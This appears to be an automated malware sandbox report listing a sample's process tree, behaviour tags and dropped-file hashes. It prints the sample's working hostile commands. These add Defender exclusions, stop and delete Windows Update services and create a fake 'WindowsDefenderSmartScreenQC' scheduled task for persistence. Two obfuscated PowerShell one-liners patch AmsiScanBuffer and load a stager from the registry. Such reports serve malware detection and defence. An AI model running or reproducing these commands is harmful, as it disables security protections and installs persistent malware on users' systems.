- Program crash
PID:4976
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-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3624
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4896
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2820
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4468
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4556
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4052
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:2576
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:3704
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2380
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1132
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3980
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4828
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:3820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2628
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2604
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2580
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2356
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2156
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1768
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1860
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1752
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1452
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1124
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:jDUPwuZsPogq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$BZTNDpjIWwItuK,[Parameter(Position=1)][Type]$EnAbEBoUuC)$qMXZOTevjjL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'ef'+'l'+''+[Char](101)+'c'+[Char](116)+''+[Char](101)+''+'d'+'D'+[Char](101)+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+'y'+[Char](77)+'od'+[Char](117)+'l'+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+'D'+''+'e'+''+'l'+''+'e'+''+'g'+'a'+[Char](116)+'eT'+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$qMXZOTevjjL.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+'c'+'i'+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+','+''+'H'+''+[Char](105)+'d'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+'P'+'u'+''+[Char](98)+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$BZTNDpjIWwItuK).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'an'+'a'+''+[Char](103)+''+[Char](101)+'d');$qMXZOTevjjL.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+'oke','P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+'i'+'r'+''+'t'+''+'u'+''+[Char](97)+''+[Char](108)+'',$EnAbEBoUuC,$BZTNDpjIWwItuK).SetImplementationFlags('Ru'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+',M'+[Char](97)+'n'+[Char](97)+''+[Char](103)+'e'+'d'+'');Write-Output $qMXZOTevjjL.CreateType();}$ETySWJhmiRBfH=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+'.'+'W'+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+'s'+[Char](97)+''+'f'+''+[Char](101)+''+'E'+''+[Char](84)+''+[Char](121)+''+[Char](83)+'WJ'+[Char](104)+''+[Char](109)+''+[Char](105)+''+[Char](82)+'B'+[Char](102)+'H');$ftlijaWGoucqAu=$ETySWJhmiRBfH.GetMethod('f'+'t'+''+'l'+'i'+[Char](106)+'a'+[Char](87)+''+'G'+''+[Char](111)+''+[Char](117)+''+[Char](99)+''+'q'+''+[Char](65)+''+'u'+'',[Reflection.BindingFlags]'P'+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+'t'+''+'a'+'t'+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WNbVAPMGyhQhFzYESrt=jDUPwuZsPogq @([String])([IntPtr]);$XRqDzKydEzSItTjvqVUxuf=jDUPwuZsPogq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$xDztquYEeKE=$ETySWJhmiRBfH.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+'a'+'n'+''+'d'+''+'l'+'e').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+'n'+'e'+'l'+'3'+'2'+''+'.'+''+[Char](100)+''+[Char](108)+'l')));$mzYatkAOqHZfLO=$ftlijaWGoucqAu.Invoke($Null,@([Object]$xDztquYEeKE,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+'b'+'r'+[Char](97)+'r'+[Char](121)+''+'A'+'')));$DFhWrgXuVfOgvmRUj=$ftlijaWGoucqAu.Invoke($Null,@([Object]$xDztquYEeKE,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+'ual'+[Char](80)+''+'r'+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$BzkGcbj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mzYatkAOqHZfLO,$WNbVAPMGyhQhFzYESrt).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$uuUgaaunevRCFrocW=$ftlijaWGoucqAu.Invoke($Null,@([Object]$BzkGcbj,[Object](''+'A'+''+'m'+''+'s'+''+'i'+''+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+'B'+[Char](117)+'ffe'+[Char](114)+'')));$edQsQfOLyv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DFhWrgXuVfOgvmRUj,$XRqDzKydEzSItTjvqVUxuf).Invoke($uuUgaaunevRCFrocW,[uint32]8,4,[ref]$edQsQfOLyv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$uuUgaaunevRCFrocW,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DFhWrgXuVfOgvmRUj,$XRqDzKydEzSItTjvqVUxuf).Invoke($uuUgaaunevRCFrocW,[uint32]8,0x20,[ref]$edQsQfOLyv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+'A'+'R'+[Char](69)+'').GetValue(''+'d'+'ia'+'l'+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+'a'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2844 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2424
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:yVIkpPVWmTbV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$KiIZgfGEkJMNeW,[Parameter(Position=1)][Type]$rzRyzvDqKr)$kWDQPhHBXxB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'f'+'l'+'e'+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+'yMo'+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+'e'+'','C'+[Char](108)+''+'a'+'ss,P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+'d'+''+[Char](44)+''+'A'+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+'ss',[MulticastDelegate]);$kWDQPhHBXxB.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+'e'+'ci'+'a'+'l'+[Char](78)+''+'a'+''+[Char](109)+'e,'+'H'+''+[Char](105)+''+'d'+'e'+'B'+'y'+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+'c',[Reflection.CallingConventions]::Standard,$KiIZgfGEkJMNeW).SetImplementationFlags(''+'R'+''+'u'+'n'+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$kWDQPhHBXxB.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+''+'e'+'',''+'P'+'u'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+','+[Char](72)+'id'+[Char](101)+'B'+'y'+'S'+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'ew'+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+'a'+'l'+'',$rzRyzvDqKr,$KiIZgfGEkJMNeW).SetImplementationFlags('Ru'+'n'+''+[Char](116)+'ime,M'+'a'+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $kWDQPhHBXxB.CreateType();}$JMrUqugsBhnOd=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'yst'+[Char](101)+''+'m'+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+'n'+''+[Char](51)+''+'2'+'.'+[Char](85)+''+'n'+'s'+[Char](97)+''+[Char](102)+''+'e'+''+[Char](74)+'M'+'r'+''+'U'+''+'q'+''+'u'+''+'g'+''+'s'+'B'+'h'+''+[Char](110)+''+[Char](79)+'d');$QWWZnbIGHcOHoY=$JMrUqugsBhnOd.GetMethod(''+[Char](81)+'WW'+[Char](90)+''+'n'+''+[Char](98)+'I'+'G'+''+[Char](72)+'c'+[Char](79)+''+'H'+'o'+[Char](89)+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+'i'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZnazIcPDBiWFmIcXslo=yVIkpPVWmTbV @([String])([IntPtr]);$dgIQeOtLNjvgnbvyKzLzOa=yVIkpPVWmTbV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$RPuEjOXbIfD=$JMrUqugsBhnOd.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+'dl'+'e'+'').Invoke($Null,@([Object]('k'+'e'+''+'r'+'n'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')));$wZAdpNNdrTKnqB=$QWWZnbIGHcOHoY.Invoke($Null,@([Object]$RPuEjOXbIfD,[Object]('L'+'o'+'adL'+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+'A'+'')));$rUUzPPKCleYmEDwlF=$QWWZnbIGHcOHoY.Invoke($Null,@([Object]$RPuEjOXbIfD,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+'ua'+[Char](108)+'P'+[Char](114)+'o'+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$LyvxRaG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wZAdpNNdrTKnqB,$ZnazIcPDBiWFmIcXslo).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$WSNsmqWyxDmBkNIlP=$QWWZnbIGHcOHoY.Invoke($Null,@([Object]$LyvxRaG,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+'e'+[Char](114)+'')));$dPSoYHczBd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rUUzPPKCleYmEDwlF,$dgIQeOtLNjvgnbvyKzLzOa).Invoke($WSNsmqWyxDmBkNIlP,[uint32]8,4,[ref]$dPSoYHczBd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$WSNsmqWyxDmBkNIlP,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rUUzPPKCleYmEDwlF,$dgIQeOtLNjvgnbvyKzLzOa).Invoke($WSNsmqWyxDmBkNIlP,[uint32]8,0x20,[ref]$dPSoYHczBd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+'T'+''+[Char](87)+'AR'+'E'+'').GetValue('d'+[Char](105)+''+[Char](97)+'ler'+'s'+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1152 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3792
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1028
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:2836
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3056
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:3760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2980
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2124
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4420
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:4996
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4060
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:372
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4532 -ip 45322⤵PID:3036
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1136 -ip 11362⤵PID:2304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3988
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD5acb54997776cb235851b81d24d3da2dd
SHA103faef697a5975f87aaa1b27e22bb31259901bbe
SHA25663908db0019755d5b73aa48dc361afe8666df50e38ce7c876b9562f5a59a282c
SHA512f1b062817969dc24c2f3dfdb407e4a9d6749ceeb1f35c910321f8f48422b1523115d5edc62b034ee28666c374c87bfce98c6608a15eb3fe52d4194292b7a0937
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
SHA256b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
SHA512b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373